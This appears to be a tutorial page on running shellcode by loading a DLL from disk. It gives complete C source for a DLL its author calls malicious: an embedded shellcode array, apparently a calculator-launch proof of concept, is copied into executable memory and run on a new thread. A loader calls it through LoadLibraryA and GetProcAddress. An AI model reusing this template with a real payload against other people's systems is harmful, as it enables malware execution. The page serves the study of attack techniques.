DLL Execution ( Disk )

Code execution by loading a module (DLL) into current process from disk

A simple alternative to executing shellcode from current PE file is to load the shellcode from another PE file (in this case, a DLL).

The execution flow is like this:

  1. The current benign PE is executed and a process is created

  2. A function prototype is defined for the target function that is exported by the DLL

  3. The process will look for the DLL on disk using LoadLibraryA and load it into memory

  4. The DLL handle is passed on to GetProcAddress in order to find the function that should be executed

  5. Target function is called shellcode gets executed

Our malicious DLL will look like this:

BadDll.c
#include <windows.h>
#include "pch.h"

unsigned char shellcode[] = {
    0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
    0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
    0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30,
    0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48,
    0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52,
    0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B,
    0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
    0x99, 0xFF, 0xD7
};

// Exported function to execute the shellcode
extern __declspec(dllexport) void ShellExec() {
    void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof(shellcode));
    HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
    WaitForSingleObject(th, 10);
}

// Entry point for the DLL
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

The DLL loader code:

DynamicLoad.c
#include <windows.h>
#include <stdio.h>

// Define a function pointer type for ShellExec
typedef void (*SHELLEXEC_FUNC)();

int main() {
    // Path to the DLL on disk (relative to current executable path)
    const char* dllPath = "BadDll.dll";

    // Load the DLL
    HMODULE hDll = LoadLibraryA(dllPath);
    if (hDll == NULL) {
        printf("[-] Failed to load the DLL. Error: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] DLL loaded successfully.\n");

    // Get the address of the exported ShellExec function
    SHELLEXEC_FUNC ShellExecFunc = (SHELLEXEC_FUNC)GetProcAddress(hDll, "ShellExec");
    if (ShellExecFunc == NULL) {
        printf("[-] Failed to find the ShellExec function. Error: %lu\n", GetLastError());
        FreeLibrary(hDll);
        return 1;
    }
    printf("[+] ShellExec function found successfully.\n");

    // Call the ShellExec function
    printf("[*] Calling ShellExec function...\n");
    ShellExecFunc();

    // Unload the DLL
    FreeLibrary(hDll);
    return 0;
}

The output:

Code Samples

Code snippets are available on GitHub:

Last updated

Was this helpful?